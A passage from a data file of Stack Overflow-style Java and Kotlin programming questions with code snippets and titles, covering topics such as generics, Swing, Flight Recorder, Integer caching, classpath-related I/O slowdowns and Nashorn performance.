the mark and that 's why I am facing issue in implementing the logic in my project and like to get some help from the community .",12 | 15 | 16 ( IN FT ),How to find optimum combination for Cutting Stock Problem using Knapsack +Java,"Why does my jshell instance ( JDK Version 9-ea ) unable to identify printf ( ) statement ? Below is the error I observe , I am able to access printf , provided I specify it in a regular way.Any pointers ?","jshell > printf ( `` Print number one - % d '' ,1 ) | Error : | can not find symbol| symbol : method printf ( java.lang.String , int ) | printf ( `` Print number one - % d '' ,1 ) | ^ -- -- ^ jshell > System.out.printf ( `` Print number one - % d '' ,1 ) Print number one - 1 $ 1 == > java.io.PrintStream @ 1efbd816",jshell - unable to find printf +Java,"What I want to doI have a Java program which I am trying to improve . I suspect synchronized blocks within the code to hurt performance but I would like to make sure this is my problem before touching my code . How I went on about itTo check if synchronized blocks are indeed the issue , I recorded the execution of my program on a test server with Flight Recorder , downloaded the created jfr file on my desktop and opened it with Java Mission Control . However the Lock Instances page in Java Application does not show anything . The only clue I get is a message in the Results view which reads : The Java Blocking rule requires event ( s ) to be available from the following event types : com.oracle.jdk.JavaMonitorEnterI am therefore assuming there must be some kind of option to activate along with the flight recorder but I was n't able to find it so far . My questionHow do you enable events from the com.oracle.jdk.JavaMonitorEnter type to be recorded by the Java Flight Recorder ? Or I am missing something else and there is a better way to figure out how much blocking on synchronized blocks is done in a Java program ? My environmentI am using Oracle JDK version 1.8.0_191 . The version of Java Mission Control I am using on my desktop is 6.0.0 . Finally , the command I use to record my program 's execution is the following : I should also add that connecting to the server directly with Java Mission Control is not an option ( or is it ? ) as I am using an ssh rebound to actually connect to it ...","java -XX : +UnlockCommercialFeatures -XX : +UnlockDiagnosticVMOptions -XX : +DebugNonSafepoints -XX : +FlightRecorder -XX : StartFlightRecording=settings=profile , dumponexit=true , filename=test.jfr -classpath lib/* : src/ < my program with its arguments >",Monitoring Locks with Java Flight Recorder and Java Mission Control +Java,"Since both p1 and p2 are quite long , and it 's hard to write a single pattern to cover all cases in p1 and p2 . Is it possible to write another pattern p3 that is built upon on p1 and p2 , so that I can only run one Matcher :",Pattern p1 = Pattern.compile ( `` ... ... ... ... ... .. '' ) ; Pattern p2 = Pattern.compile ( `` xxxxxxxxxxxxxxxxxxx '' ) ; Matcher m = p3.matcher ( str ) ;,Is it possible to build a Pattern based on two sub patterns in Java +Java,"I am learning Java Generics . My understanding is that Generics parameterize Collections by type . In the Oracle tutorial there is the following comment : In generic code , the question mark ( ? ) , called the wildcard , represents an unknown type.On the next page there is the following example of method declaration with an upper-bounded wildcard in the parameters : Given that , I am wondering why this method declaration is illegal : while this one is legal :",public void process ( List < ? extends Foo > list ) public void process ( List < E extends Number > list ) public < E extends Number > void process ( List < E > list ),Java Generics : Type Extension In Method Declaration Parameters +Java,I have the following code : Why does it output 98 ?,class Example { public static void main ( String args [ ] ) { System.out.println ( ' 1'+ ' 1 ' ) ; } },Why does ( ' 1'+ ' 1 ' ) output 98 in Java ? +Java,"I have different class types , and depending on some conditions , I want to delegate to the appropriate service that can handle those class types.Example : I have several classes as follows.For each class there is a service , implementing : And I have a mode that is found by some conditions : When I delegate : Problem : When introducing additional classes , I have to both modify the PersonType and add an additional enum ( which is no problem ) , but I also have to extend any switch statement and add calls to additional delegation services . Also I have to explicit autowire those services to the switch delegator.Question : how could I optimize this code , to just implementing new Services for any additional class , and not having to touch any of the switch statements ?","class Student ; class Prof ; ... interface IPersonService { void run ( ) ; } enum PersonType { STUDENT , PROF ; } @ Autowiredprivate StudentService studentService ; @ Autowiredprivate ProfService profService ; // @ param mode assume knownpublic void delegate ( PersonType mode ) { //assume there are several of those switch statements in my business code switch ( mode ) { case STUDENT : studentService.run ( ) ; break ; case PROF : profService.run ( ) ; break ; default : break ; } }",How to delegate to services by class type ? +Java,Is this verification whether the object passed null or not is OK or I should use a kind of equals ( ) methods ?,public void addCard ( Card card ) throws IllegalArgumentException { if ( card ! = null ) { cardList.add ( card ) ; } else { throw new IllegalArgumentException ( ) ; } },object ! = null verification +Java,"I set a JPanel as a contentPane of my JFrame.When I use : The white color is not applied.But when I use : It works ... I am surprised by this behaviour . It should be the opposite , should n't it ? SSCCE : Here is an SSCCE : Main Class : Window Class : Container Class :","jPanel.setBackground ( Color.WHITE ) ; jFrame.setBackground ( Color.WHITE ) ; public class Main { public static void main ( String [ ] args ) { Window win = new Window ( ) ; } } import java.awt.Color ; import javax.swing.JFrame ; public class Window extends JFrame { private Container mainContainer = new Container ( ) ; public Window ( ) { super ( ) ; this.setTitle ( `` My Paint '' ) ; this.setSize ( 720 , 576 ) ; this.setLocationRelativeTo ( null ) ; this.setResizable ( true ) ; this.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; mainContainer.setBackground ( Color.WHITE ) ; //Does n't work whereas this.setBackground ( Color.WHITE ) works this.setContentPane ( mainContainer ) ; this.setVisible ( true ) ; } } import java.awt.Graphics ; import javax.swing.JPanel ; public class Container extends JPanel { public Container ( ) { super ( ) ; } public void paintComponent ( Graphics g ) { } }",Unable to set JPanel 's Background in my Swing program . +Java,"I 've been a Java Developer for many years and recently I 've found something very suprising in Kotlin . In Java there is a rarely used logical operator ^ XOR but sometimes it 's useful . For example : you can easly check if one and only one of two numbers is greater than zero.With & & AND operator and some variables a and b it looks like that : but it can easly achieve with ^ XOR : Now , in Kotline we do n't use ^ as a XOR but just xor and same code in Kotlin looks like that : And here comes a problem because this code in Kotline gives ... compilation error ! ! Why ? Because in Java all logical operator ( & , & & , | , || , ^ ) got lower precedence than relational operators ( > , > = , < , < = , == , ! = ) . Same in Koltin but it looks like not for xor . So it goes this way : a > 0 gives boolean valueboolean xor b > 0 first evealuated to : boolean xor b not b > 0And finally we got compilation error that said : The integer literal does not conform to the expected type BooleanYou can check this situation here : XOR not working wellOne extra case : if you think that this one : a > 0 xor ( b > 0 ) works ... well , no . Another compilation error : Type mismatch : inferred type is Boolean but Int was expectedCan anyone explain me is there some purpouse for such logic or it 's just a bug in Kotlin language ?",boolean valid = ( a > 0 & & b < = 0 ) || ( a < = 0 & & b > 0 ) ; boolean valid = a > 0 ^ b > 0 ; val valid = a > 0 xor b > 0 ;,Is XOR operator in Kotlin a feature or a bug ? +Java,"This is part of my homework . All I need is a bit of advice . I need to write some nested loop constructs , to print the following : Here is my code to print the first set of symbolsThis works perfectly fine . I 'm just having trouble figuring out the second and third set of symbols . Apologies for my lack of experience , I 'm fairly new to Java .","`` 122333444455555 '' '' +**+++****+++++ '' '' -- ***++++ -- -- -******+++++++ '' public static void main ( String [ ] args ) { int i , j ; for ( i=1 ; i < 6 ; ++i ) { for ( j=1 ; j < i+1 ; ++j ) { System.out.print ( i ) ; } } }",Nested loop construction +Java,"I 'm trying to run the local dev server ( java ) for Google AppEngine on a Google compute instance . ( we 're using compute engine instances as test servers ) . When trying to start the dev server using appcfg.sh we notice that 90 % of the time , the server does n't get started and hangs for 10minutes before finnaly starting.I know that the server has n't started because this line is never printed to the console when it hangs : Has anyone seen anything like this ?",Server default is running at http : //localhost:8080/,Running GAE Development Server of Google Compute Engine Instance < phew > +Java,"I 'm creating a project which models an airport landing system . I have a plane object which stores all the information I need to sort the plane into a queue and store in a database . All the vital information is included in the object but I have also included the co-ordinates for each plane . My issue is that it may not be considered cohesive because each plane does a lot of different things . I just want to know if this is considered bad design or is there a better way to do this ? Also , what is the `` rule '' for cohesion inside of objects ? is there a specific design pattern that can maybe deal with this ?","public class Plane extends Aircraft { /* * Flight status should only take one of these enum values */private static enum Status { REGISTERED , IN_QUEUE , LANDING , LANDED } ; // Set aircraft status to REGISTERED when createdprivate Status status = Status.REGISTERED ; private double fuelLevelPercentage ; private int passengerCount ; private int aircraftNumber ; private String airlineCompany ; private String departureAirport ; // This is used by the constructor to assign a random city to each new Aircraftprivate final String [ ] cities = { `` Rome '' , `` Berlin '' , `` Heathrow '' , `` Edinburgh '' , `` Cardiff '' , `` Dublin '' , `` Stansted '' } ; // Used to set airline companiesprivate final String [ ] airLineCompanies = { `` Easyjet '' , `` Ryanair '' , `` British Airways '' , '' Flybe '' , '' Air Lingus '' , `` Virgin '' } ; // Random number generator used by the constructorprivate Random rand ; // Thread for this instance of Aircraftprivate Thread aircraftThread ; // Radius of path when flying in circle ( km ? ) private final double FLIGHT_RADIUS = 10 ; // Time taken to complete one complete loop ( ms ) private final double FLIGHT_PERIOD = 120000 ; // Angular frequency omega ( rad/s ) private double OMEGA = 2 * Math.PI / FLIGHT_PERIOD ; // Time taken between being directed to land , and landing ( ms ) private int TIME_TAKEN_TO_LAND = 30000 ; // Time take to use one percent of fuel ( ms ) private double time_taken_to_use_one_percent_of_fuel = 30000 ; // variable to keep track of time since instantiated ( ms ) private int time = 0 ; // The aircraft Thread sleeps for TIME_STEP between updatingprivate final int TIME_STEP = 20 ; private int time_when_called_to_land ; private int hour_of_arrival ; private int minute_of_arrival ; /* * Set coordinates at time zero */private double x_coord = 0 ; private double y_coord = FLIGHT_RADIUS ; private double altitude = 1000 ; /* * Used to calculate path to airport */private double x_coord_when_called ; private double y_coord_when_called ; private double altitude_when_called ; Calendar calendar = Calendar.getInstance ( ) ; /** * This constructor sets the following fields to random values Dummy Data - * should have a better way to do this */public Plane ( ) { rand = new Random ( ) ; this.fuelLevelPercentage = rand.nextInt ( 100 ) ; this.departureAirport = cities [ rand.nextInt ( cities.length ) ] ; this.passengerCount = rand.nextInt ( 500 ) ; this.aircraftNumber = rand.nextInt ( 50000000 ) ; this.airlineCompany = airLineCompanies [ rand.nextInt ( airLineCompanies.length ) ] ; } /** * this fly method will call on a different method depending on the status * of the Aircraft */public void fly ( ) { if ( status == Status.REGISTERED ) { useFuel ( ) ; } else if ( status == Status.IN_QUEUE ) { flyInCircle ( ) ; useFuel ( ) ; } else if ( status == Status.LANDING ) { flyToAirport ( ) ; useFuel ( ) ; } else if ( status == Status.LANDED ) { } } public void flyInCircle ( ) { x_coord = FLIGHT_RADIUS * ( Math.cos ( OMEGA * ( time ) ) ) ; y_coord = FLIGHT_RADIUS * ( Math.sin ( OMEGA * ( time ) ) ) ; } public void flyToAirport ( ) { if ( ! ( x_coord < 1 & & x_coord > -1 & & y_coord < 1 & & y_coord > -1 & & altitude < 1 & & altitude > -1 ) ) { x_coord -= x_coord_when_called * TIME_STEP / TIME_TAKEN_TO_LAND ; y_coord -= y_coord_when_called * TIME_STEP / TIME_TAKEN_TO_LAND ; altitude -= altitude_when_called * TIME_STEP / TIME_TAKEN_TO_LAND ; } else { System.out.println ( `` Aircraft landed '' ) ; status = Status.LANDED ; hour_of_arrival = calendar.get ( Calendar.HOUR_OF_DAY ) ; minute_of_arrival = calendar.get ( Calendar.MINUTE ) ; } } /** * This method changes the flight status to IN_QUEUE - simulates telling the * plane to join queue */public void directToJoinQueue ( ) { setFlightStatus ( Status.IN_QUEUE ) ; } /** * This method changes the flight status to LANDING - simulates telling the * plane to land */public void directToflyToAirport ( ) { setFlightStatus ( Status.LANDING ) ; time_when_called_to_land = time ; x_coord_when_called = x_coord ; y_coord_when_called = y_coord ; altitude_when_called = altitude ; } /** * This method reduces fuel level according to fuel usage */private void useFuel ( ) { if ( this.fuelLevelPercentage - TIME_STEP / time_taken_to_use_one_percent_of_fuel > 0 ) { this.fuelLevelPercentage -= TIME_STEP / time_taken_to_use_one_percent_of_fuel ; } else { this.fuelLevelPercentage = 0 ; } } /** * this method sets the flight status */private void setFlightStatus ( Status status ) { this.status = status ; } public double getfuelLevelPercentage ( ) { return fuelLevelPercentage ; } public int getPassengerCount ( ) { return passengerCount ; } public void setPassengerCount ( int passengerCount ) { this.passengerCount = passengerCount ; } public int getAircraftNumber ( ) { return aircraftNumber ; } public String getDepartureAirport ( ) { return departureAirport ; } public void stop ( ) { ; } public String getAirlineCompany ( ) { return airlineCompany ; } public void setAirlineCompany ( String airlineCompany ) { this.airlineCompany = airlineCompany ; } @ Overridepublic String toString ( ) { if ( status == Status.LANDED ) { return String .format ( `` Flight % -8d | Fuel % -4.1f | Passengers % -3d | From % -10s | % -8s at % d : % d `` , aircraftNumber , fuelLevelPercentage , passengerCount , departureAirport , status , hour_of_arrival , minute_of_arrival ) ; } else { return String .format ( `` Flight % -8d | Fuel % -4.1f | Passengers % -3d | From % -10s | % -8s | Coords ( % -3.2f , % -3.2f ) | Altitude % -4.2f '' , aircraftNumber , fuelLevelPercentage , passengerCount , departureAirport , status , x_coord , y_coord , altitude ) ; } } public void start ( ) { aircraftThread = new Thread ( this , this.getClass ( ) .getName ( ) ) ; aircraftThread.start ( ) ; } @ Overridepublic void run ( ) { try { while ( true ) { calendar = Calendar.getInstance ( ) ; fly ( ) ; Thread.sleep ( TIME_STEP ) ; time += TIME_STEP ; } // System.out.println ( `` aircraft number `` +aircraftNumber+ '' safely landed '' ) ; } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } } }",What is the Java standard for object cohesion ? Does too much information in an object mean bad design ? - see example +Java,"Consider this code : It prints : I understand the first false , the == operator only checks if two references are working on the same object , which in this case aren't.The following true and false have me scratching my head . Why would Java consider i3 and i4 equal but i1 and i2 different ? Both have been wrapped to Integer , should n't both evaluate to false ? Is there a practical reason for this inconsistency ?","class test { public static void main ( String [ ] args ) { test inst_test = new test ( ) ; int i1 = 2000 ; int i2 = 2000 ; int i3 = 2 ; int i4 = 2 ; Integer Ithree = new Integer ( 2 ) ; // 1 Integer Ifour = new Integer ( 2 ) ; // 2 System.out.println ( Ithree == Ifour ) ; inst_test.method ( i3 , i4 ) ; inst_test.method ( i1 , i2 ) ; } public void method ( Integer i , Integer eye ) { System.out.println ( i == eye ) ; } } falsetruefalse",Inconsistent behavior on java 's == +Java,"I was curious , I see this kind of thing a lot : since the anonymous class created here has no instance variables , is the standard JDK compiler smart enough to only instantiate that anonymous class once and reuse it ? Or is it advisable to instantiate that anonymous class in a static field and always pass the static Comparator object ? UPDATE : When I say `` JDK compiler '' , I mean the JIT portion too . The above is also just an example . I was really curious if I should , as a best practice , create static fields for the above instead of inlining anonymous class instantiations . In some cases the performance/resource usage issue will be negligible . But other cases might not be ...","Arrays.sort ( array , new Comparator < Integer > ( ) { public int compare ( Integer a , Integer b ) { return Math.abs ( a ) < Math.abs ( b ) ; } } ) ;",JDK compiler optimize use of anonymous classes with no instance variables ? +Java,"Test Code : Test Env : OS : Linux , File Size : 7.2G ( csv text file , Over 1k per line ) , java version `` 1.6.0_32 '' Test Run : The code is packaged into one jar . I ran following two test on the same host , using the same jar , reading the same file . 1 ) Run ./java -cp=my.jar ReadLine TestFile.txtThe performance stabilized at about 150k line /s . Console output is like:2 ) No code changes , just added JARs ( used in production environment ) into classpath ( needed in production , but not it this program ) , like ./java -cp=my.jar : hundreds_of_other_jars ReadLine TestFile.txt . The performance dropped to about 90k line /sMy analysis : The ONLY difference is classpath . The second test 's classpath has hundreds of JARs in classpath . But none of them is used in this program . Not environment related . This code is packaged into the JAR and both tests used the same JAR . Both tests run on the same host , read the same file , use the same code . I also compared the System.getEnv and System.getProperties , no difference other than classpath.Not OS cache . This can be reproduced . After many tests , the results are the same . No matter which test ran first.jmap shows the memory usage has no big difference and all generations are not highly used . jstack shows the call stack for both test is most likely to be asthisorLooking at the call stack these test cases are likely using the same code.This is not caused by a certain JAR in the classpath . I tried to remove the first 50 % of the classpath to run the test , the performance is about 110k line/s . Then I remove the last 50 % to run the test , the performance is also about 110k line/s . If remove over 2/3 jars from classpath , the performance is about 120k line/s . So from the test , this performance issue just related to how many JARs are in the classpath.Then I tried to package all these JARs into one big JAR . Sadly the performance dropped from 90k to 60k ... . So to be precise , based on my test , this performance drop is caused by how many classes are in the classpath . I ran the two tests on a different machine with a different file ( file size and format are similar ) , the results are the same . So this can definitely be reproduced . BUT I think this does n't make sense . Did I miss anything ? If this indeed is true what is the root cause ? -- -- -- -- -- More Debug -- -- -- -- -- -- -- -- -GC and Perm SizeAdded -Xmx2432m -Xms256m -XX : MaxNewSize=700m -XX : MaxPermSize=1024m -XX : +PrintGCDetails to both tests . There are all just have PSYoungGen GC . And the performance is the same for both.Output DetailsLong CP one : One Jar CP : JVM InitialI am very expecting this is the cause because this is reasonable . But after using the following code : Run and press enter main times , the performance does n't change .","import java.io.BufferedReader ; import java.io.FileReader ; import java.io.IOException ; import java.util.Map.Entry ; public class ReadLine { /** * @ param args * @ throws IOException */ public static void main ( String [ ] args ) throws IOException { System.getenv ( ) ; System.getProperties ( ) ; BufferedReader br = new BufferedReader ( new FileReader ( args [ 0 ] ) , 2 < < 17 ) ; int lineTotal = 0 ; int lineDone = 0 ; long start = System.currentTimeMillis ( ) ; long totalSincePre = System.currentTimeMillis ( ) ; while ( br.readLine ( ) ! = null ) { lineTotal++ ; if ( lineTotal % 100000 == 0 ) { long end = System.currentTimeMillis ( ) ; System.out.println ( `` total speed= '' + lineTotal / ( end - totalSincePre ) + `` k/s . curr speed= '' + ( lineTotal - lineDone ) / ( end - start ) ) ; start = end ; lineDone = lineTotal ; } } printEnv ( ) ; } static void printEnv ( ) { for ( Entry < ? , ? > e : System.getenv ( ) .entrySet ( ) ) { System.out.println ( e.getKey ( ) + `` : '' + e.getValue ( ) ) ; } for ( Entry < ? , ? > e : System.getProperties ( ) .entrySet ( ) ) { System.out.println ( e.getKey ( ) + `` : '' + e.getValue ( ) ) ; } } } total speed=251k/s . curr speed=251total speed=304k/s . curr speed=384total speed=323k/s . curr speed=371total speed=337k/s . curr speed=387total speed=350k/s . curr speed=414total speed=358k/s . curr speed=401total speed=363k/s . curr speed=395total speed=349k/s . curr speed=277total speed=304k/s . curr speed=150total speed=277k/s . curr speed=153total speed=258k/s . curr speed=154total speed=244k/s . curr speed=152total speed=233k/s . curr speed=152total speed=225k/s . curr speed=154total speed=218k/s . curr speed=153total speed=196k/s . curr speed=149total speed=193k/s . curr speed=146 ... ... stabled ... ... .total speed=163k/s . curr speed=150total speed=162k/s . curr speed=155total speed=162k/s . curr speed=155total speed=162k/s . curr speed=149total speed=162k/s . curr speed=147total speed=162k/s . curr speed=150total speed=161k/s . curr speed=148total speed=161k/s . curr speed=145total speed=161k/s . curr speed=151total speed=161k/s . curr speed=154total speed=161k/s . curr speed=163total speed=161k/s . curr speed=179 total speed=312k/s . curr speed=383total speed=335k/s . curr speed=393total speed=348k/s . curr speed=395total speed=361k/s . curr speed=423total speed=369k/s . curr speed=414total speed=374k/s . curr speed=404total speed=342k/s . curr speed=214total speed=264k/s . curr speed=93total speed=224k/s . curr speed=95total speed=200k/s . curr speed=95total speed=182k/s . curr speed=94total speed=170k/s . curr speed=94total speed=161k/s . curr speed=95total speed=154k/s . curr speed=95total speed=148k/s . curr speed=93 ... ..stabled ... ..total speed=139k/s . curr speed=92total speed=135k/s . curr speed=92total speed=132k/s . curr speed=92total speed=129k/s . curr speed=92total speed=127k/s . curr speed=92total speed=125k/s . curr speed=90total speed=123k/s . curr speed=91total speed=121k/s . curr speed=92total speed=120k/s . curr speed=89total speed=118k/s . curr speed=92total speed=117k/s . curr speed=91total speed=116k/s . curr speed=91total speed=115k/s . curr speed=91total speed=114k/s . curr speed=90total speed=113k/s . curr speed=91 at java.io.FileInputStream.available ( Native Method ) at sun.nio.cs.StreamDecoder.inReady ( StreamDecoder.java:343 ) at sun.nio.cs.StreamDecoder.implRead ( StreamDecoder.java:304 ) at sun.nio.cs.StreamDecoder.read ( StreamDecoder.java:158 ) - locked < 0xb4220388 > ( a java.io.FileReader ) at java.io.InputStreamReader.read ( InputStreamReader.java:167 ) at java.io.BufferedReader.fill ( BufferedReader.java:136 ) at java.io.BufferedReader.readLine ( BufferedReader.java:299 ) - locked < 0xb4220388 > ( a java.io.FileReader ) at java.io.BufferedReader.readLine ( BufferedReader.java:362 ) at com.amazon.invhealth.metrics.transform.topasin.RL.main ( RL.java:24 ) at sun.nio.cs.UTF_8 $ Decoder.decodeArrayLoop ( UTF_8.java:240 ) at sun.nio.cs.UTF_8 $ Decoder.decodeLoop ( UTF_8.java:305 ) at java.nio.charset.CharsetDecoder.decode ( CharsetDecoder.java:544 ) at sun.nio.cs.StreamDecoder.implRead ( StreamDecoder.java:298 ) at sun.nio.cs.StreamDecoder.read ( StreamDecoder.java:158 ) - locked < 0xb4220388 > ( a java.io.FileReader ) at java.io.InputStreamReader.read ( InputStreamReader.java:167 ) at java.io.BufferedReader.fill ( BufferedReader.java:136 ) at java.io.BufferedReader.readLine ( BufferedReader.java:299 ) - locked < 0xb4220388 > ( a java.io.FileReader ) at java.io.BufferedReader.readLine ( BufferedReader.java:362 ) at com.amazon.invhealth.metrics.transform.topasin.RL.main ( RL.java:24 ) total speed=114k/s . curr speed=91 [ GC [ PSYoungGen : 247888K- > 16K ( 238272K ) ] 248810K- > 938K ( 413056K ) , 0.0003290 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] total speed=113k/s . curr speed=92 [ GC [ PSYoungGen : 238096K- > 16K ( 228864K ) ] 239018K- > 938K ( 403648K ) , 0.0003840 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] total speed=113k/s . curr speed=92 [ GC [ PSYoungGen : 228816K- > 16K ( 220096K ) ] 229738K- > 938K ( 394880K ) , 0.0006030 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] total speed=112k/s . curr speed=92 [ GC [ PSYoungGen : 219984K- > 16K ( 211584K ) ] 220906K- > 938K ( 386368K ) , 0.0004380 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] total speed=111k/s . curr speed=93 [ GC [ PSYoungGen : 211536K- > 16K ( 203584K ) ] 212458K- > 938K ( 378368K ) , 0.0005160 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] total speed=111k/s . curr speed=92 [ GC [ PSYoungGen : 203472K- > 16K ( 195840K ) ] 204394K- > 938K ( 370624K ) , 0.0005920 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] total speed=110k/s . curr speed=94 [ GC [ PSYoungGen : 195792K- > 16K ( 188608K ) ] 196714K- > 938K ( 363392K ) , 0.0004010 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] [ GC [ PSYoungGen : 188496K- > 16K ( 181568K ) ] 189418K- > 938K ( 356352K ) , 0.0004440 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] ... ... ... ... ... ... ... .Heap PSYoungGen total 145984K , used 81767K [ 0xc8560000 , 0xd7780000 , 0xf4160000 ) eden space 145920K , 56 % used [ 0xc8560000,0xcd535d18,0xd13e0000 ) from space 64K , 25 % used [ 0xd7760000,0xd7764000,0xd7770000 ) to space 64K , 0 % used [ 0xd7770000,0xd7770000,0xd7780000 ) PSOldGen total 174784K , used 922K [ 0x5c160000 , 0x66c10000 , 0xc8560000 ) object space 174784K , 0 % used [ 0x5c160000,0x5c246ae8,0x66c10000 ) PSPermGen total 16384K , used 2032K [ 0x1c160000 , 0x1d160000 , 0x5c160000 ) object space 16384K , 12 % used [ 0x1c160000,0x1c35c260,0x1d160000 ) total speed=180k/s . curr speed=148 [ GC [ PSYoungGen : 87248K- > 16K ( 87296K ) ] 87904K- > 672K ( 262080K ) , 0.0005300 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] [ GC [ PSYoungGen : 87248K- > 16K ( 87296K ) ] 87904K- > 672K ( 262080K ) , 0.0004950 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] [ GC [ PSYoungGen : 87248K- > 16K ( 87296K ) ] 87904K- > 672K ( 262080K ) , 0.0005020 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] total speed=179k/s . curr speed=150 [ GC [ PSYoungGen : 87248K- > 16K ( 87296K ) ] 87904K- > 672K ( 262080K ) , 0.0005360 secs ] [ Times : user=0.01 sys=0.00 , real=0.00 secs ] [ GC [ PSYoungGen : 87248K- > 16K ( 87296K ) ] 87904K- > 672K ( 262080K ) , 0.0005190 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] total speed=178k/s . curr speed=151 [ GC [ PSYoungGen : 87248K- > 16K ( 87296K ) ] 87904K- > 672K ( 262080K ) , 0.0005360 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] [ GC [ PSYoungGen : 87248K- > 16K ( 87296K ) ] 87904K- > 672K ( 262080K ) , 0.0005400 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] [ GC [ PSYoungGen : 87248K- > 16K ( 87296K ) ] 87904K- > 672K ( 262080K ) , 0.0003510 secs ] [ Times : user=0.00 sys=0.00 , real=0.00 secs ] total speed=177k/s . curr speed=150Heap PSYoungGen total 87296K , used 83826K [ 0xc8580000 , 0xcdad0000 , 0xf4180000 ) eden space 87232K , 96 % used [ 0xc8580000,0xcd758928,0xcdab0000 ) from space 64K , 25 % used [ 0xcdab0000,0xcdab4000,0xcdac0000 ) to space 64K , 0 % used [ 0xcdac0000,0xcdac0000,0xcdad0000 ) PSOldGen total 174784K , used 656K [ 0x5c180000 , 0x66c30000 , 0xc8580000 ) object space 174784K , 0 % used [ 0x5c180000,0x5c224080,0x66c30000 ) PSPermGen total 16384K , used 2022K [ 0x1c180000 , 0x1d180000 , 0x5c180000 ) object space 16384K , 12 % used [ 0x1c180000,0x1c379bb0,0x1d180000 ) String filepath = args [ 0 ] ; while ( true ) { BufferedReader br = new BufferedReader ( new FileReader ( filepath ) , 2 < < 17 ) ; System.out.println ( `` Press Enter to start ... '' ) ; while ( System.in.read ( ) ! = '\n ' ) ; int lineTotal = 0 ; int linePre = 0 ; long start = System.currentTimeMillis ( ) ; long totalStart = System.currentTimeMillis ( ) ; while ( br.readLine ( ) ! = null ) { lineTotal++ ; if ( lineTotal % 100000 == 0 ) { long end = System.currentTimeMillis ( ) ; System.out.println ( `` total speed= '' + lineTotal / ( end - totalStart ) + `` k/s . curr speed= '' + ( lineTotal - linePre ) / ( end - start ) ) ; start = end ; linePre = lineTotal ; } } }",Java File IO performance dropped over 30 % when adding lots of JARs into classpath +Java,"As you know , the annotation driven programming is more and more incorporated in the majority of frameworks that we are using nowadays ( i.e . Spring , Lombok etc ) .Besides , we need sometimes to create our custom annotation . ( i.g . Logging enter/exit traces for all public methods of a given class using an aspect - @ LogAroundMethods ) Hence , a given class can hold plenty of annotations.What 's the recommended order of annotations ? Is there any impact or benefit from a specific order ?","@ LogAroundMethod // My custom annotation @ Slf4j // Lombok annotation @ Component // Spring annotationpublic class ClientNotificationProxy { //Code } @ LogAroundMethod // My custom annotation @ Configuration // Spring annotation @ ConditionalOnClass ( NotificationSender.class ) // Spring annotation @ EnableConfigurationProperties ( MessagingProperties.class ) // Spring annotation @ Import ( { MongoConfiguration.class , SpringRetryConfiguration.class } ) // Spring annotationpublic class StarterClientAutoConfiguration { // Code }",Does annotations order matter ? +Java,"Our legacy code has a long code of if else blocks that depend on events and object typeWith more and more conditions introducing , I was thinking of replacing this logic with Command pattern for each condition . But the number of classes required would be ( no . of events ) * ( no . of object types ) . Is there any simpler way to refactor this code ?",if ( event == A & & objectType == O1 ) { ... .. } else if ( event == A & & objectType == O2 ) { ... . } else if ( ... . ) ... ... ..,Command pattern with too many classes +Java,"I know that I ca n't do this : Because I get the compiler complaint : I understand that is because both T and S could be extending same class . So doing this way i can tell him `` No , they are not the same , so take it easy '' Then , my question is , is there any way to tell the compiler that T and S extend from different classes without telling which ones in concrete ? I mean , in this last case , I 've specified which classes had to be T and S ( extending respectively ) . But what if I want it more generic and not specify them ? I 'd like to tell the compiler , `` Hey , compiler , T and S are not the same ! They are different classes . I do n't know exactly which classes they are , but I 'm sure that they are different '' .","public abstract class DTODomainTransformer < T , S > { public abstract S transform ( T ) ; public abstract T transform ( S ) ; } Method transform ( T ) has the same erasure transform ( Object ) as another method in type Transformer < T , S > public interface Transformer < T extends AbstractDTO , S extends AbstractDomain > { public abstract S transform ( T object ) ; public abstract T transform ( S object ) ; }",overload method with same generic parameter ? +Java,"If you interpret the moment.js library using Nashorn on JDK 8 , it runs in a couple of seconds : But do the same on JDK 9 or 10 , and it 's terrible : This is literally ten times slower . Is it just me ? I know Nashorn is going to be deprecated , but should it not work properly while it is supported ? Any suggestions ? Workarounds ?",time ... /JDK8/bin/jjs moment-with-locales-2.22.2.jsreal 0m2.644suser 0m10.059ssys 0m0.287s time ... /JDK10/bin/jjs moment-with-locales-2.22.2.jsreal 0m27.308suser 0m59.690ssys 0m1.353s,Nashorn performance on JDK 9 and JDK 10 +Java,Are both the String comparison methods below considered to be equalor should one type of comparison be favoured over another ?,public class TestString { public static final String CONSTVAL= '' foo '' ; public boolean testString1 ( String testVal ) { return testVal.equalsIgnoreCase ( CONSTVAL ) ; } public boolean testString2 ( String testVal ) { return CONSTVAL.equalsIgnoreCase ( testVal ) ; } },String comparison order in Java +Java,"I have the following code : However , this will only break the for loop . How can I have it so that it breaks both the for and the while loops ? Cheers !",int x = 100 ; //Or some other valuewhile ( x > 0 ) { for ( int i = 5 ; i > 0 ; i++ ) { x = x-2 ; if ( x == 0 ) break ; } },Breaking nested loop and main loop +Java,"I 'm looking for an equivalent to the class , except that it maps multiple keys to a value , so it 's really more likeThe way you get and set entries would be like a multi-column primary key in a database : you put items using multiple keys e.g . ( K1 , K2 ) , and to get that item back out you need to provide all the same keys you used to put it in . Given these get & set semantics , the GC semantics would be : an entry would be GCed when no longer reachable , which means that any of its keys is no longer reachable.Has anyone else needed something like this before ? How would you approach such a requirement ? Storing a Tuple as the key , like you could do in a non-weak HashMap , does n't work ( the Tuple gets GCed almost immediately , with nobody pointing to it ) . If something like this has been made before I 'd be happy to use it , but just trying to think of how I would construct such a thing out of WeakReferences and a normal hashmap and am coming up with a blank .","WeakHashMap < K , V > WeakHashMap < K1 , K2 , V > WeakHashMap < K1 , K2 , K3 , V > etc .",Java WeakHashMap with multiple keys ? +Java,"I am experiencing a problem with 